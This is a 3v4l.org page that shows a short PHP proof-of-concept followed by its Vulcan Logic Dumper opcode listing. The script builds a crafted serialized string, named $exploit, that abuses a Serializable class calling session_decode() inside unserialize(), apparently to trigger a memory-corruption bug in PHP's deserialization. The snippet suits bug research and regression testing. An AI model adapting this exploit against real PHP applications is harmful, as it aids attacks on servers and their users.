3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { session_decode($data); } } $inner = 'r:2;'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data); var_dump($_SESSION);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 29
Branch analysis from position: 29
2 jumps found. (Code = 44) Position 1 = 31, Position 2 = 25
Branch analysis from position: 31
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
2 jumps found. (Code = 44) Position 1 = 31, Position 2 = 25
Branch analysis from position: 31
Branch analysis from position: 25
filename:       /in/rpWBi
function name:  (null)
number of ops:  39
compiled vars:  !0 = $inner, !1 = $exploit, !2 = $data, !3 = $i, !4 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'ini_set'
          1        SEND_VAL                                                 'session.serialize_handler'
          2        SEND_VAL                                                 'php_serialize'
          3        DO_ICALL                                                 
    4     4        INIT_FCALL                                               'session_start'
          5        DO_ICALL                                                 
    6     6        DECLARE_CLASS                                            'obj'
   17     7        ASSIGN                                                   !0, 'r%3A2%3B'
   18     8        STRLEN                                           ~8      !0
          9        CONCAT                                           ~9      'a%3A2%3A%7Bi%3A0%3BC%3A3%3A%22obj%22%3A', ~8
         10        CONCAT                                           ~10     ~9, '%3A%7B'
         11        CONCAT                                           ~11     ~10, !0
         12        CONCAT                                           ~12     ~11, '%7Di%3A1%3BC%3A3%3A%22obj%22%3A'
         13        STRLEN                                           ~13     !0
         14        CONCAT                                           ~14     ~12, ~13
         15        CONCAT                                           ~15     ~14, '%3A%7B'
         16        CONCAT                                           ~16     ~15, !0
         17        CONCAT                                           ~17     ~16, '%7D%7D'
         18        ASSIGN                                                   !1, ~17
   20    19        INIT_FCALL                                               'unserialize'
         20        SEND_VAR                                                 !1
         21        DO_ICALL                                         $19     
         22        ASSIGN                                                   !2, $19
   22    23        ASSIGN                                                   !3, 0
         24      > JMP                                                      ->29
   23    25    >   CONCAT                                           ~23     'hi', !3
         26        ASSIGN_DIM                                               !4, !3
         27        OP_DATA                                                  ~23
   22    28        PRE_INC                                                  !3
         29    >   IS_SMALLER                                               !3, 5
         30      > JMPNZ                                                    ~25, ->25
   26    31    >   INIT_FCALL                                               'var_dump'
         32        SEND_VAR                                                 !2
         33        DO_ICALL                                                 
   27    34        INIT_FCALL                                               'var_dump'
         35        FETCH_R                      global              ~27     '_SESSION'
         36        SEND_VAL                                                 ~27
         37        DO_ICALL                                                 
         38      > RETURN                                                   1

Class obj:
Function serialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rpWBi
function name:  serialize
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E >   INIT_FCALL                                               'serialize'
          1        FETCH_OBJ_R                                      ~0      'data'
          2        SEND_VAL                                                 ~0
          3        DO_ICALL                                         $1      
          4      > RETURN                                                   $1
   10     5*     > RETURN                                                   null

End of function serialize

Function unserialize:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/rpWBi
function name:  unserialize
number of ops:  5
compiled vars:  !0 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   11     0  E >   RECV                                             !0      
   12     1        INIT_FCALL                                               'session_decode'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                                 
   13     4      > RETURN                                                   null

End of function unserialize

End of class obj.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
169.14 ms | 1400 KiB | 25 Q